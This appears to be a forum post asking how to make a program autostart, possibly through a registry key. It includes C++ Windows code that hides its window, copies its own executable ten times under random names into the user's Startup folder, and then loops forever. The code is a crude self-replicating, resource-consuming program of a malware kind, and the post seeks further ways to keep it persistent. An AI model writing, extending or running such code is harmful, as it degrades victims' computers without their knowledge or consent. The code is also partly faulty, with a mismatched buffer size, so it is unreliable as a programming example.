I was wondering im making a program that needs to be able to start up automatically is there any way to do this other than putting it in the startup menu maybe a Registry Key?
Code:#include <iostream> #include <fstream> #include <windows.h> #include <ctime> using namespace std; int main() { int n_times = 0; int fcopy_name = 0; char FileName [MAX_PATH]; TCHAR user [MAX_PATH]; DWORD bufCharCount = 32767; srand((unsigned)time(0)); GetModuleFileName(NULL,FileName,MAX_PATH); HWND hwnd = FindWindow(0,FileName); ShowWindow(hwnd,SW_HIDE); GetUserName(user,&bufCharCount); do { int temp_name = n_times+rand(); char buffer [MAX_PATH]; char new_name [MAX_PATH] = "C:\\Documents and Settings\\"; strcat(new_name,user); strcat(new_name,"\\Start Menu\\Programs\\Startup\\"); itoa(temp_name,buffer,10); strcat(buffer,".exe"); strcat(new_name,buffer); CopyFile("Prime.exe",new_name,true); n_times+=1; } while(n_times < 10); while (1 == 1) { } }



LinkBack URL
About LinkBacks


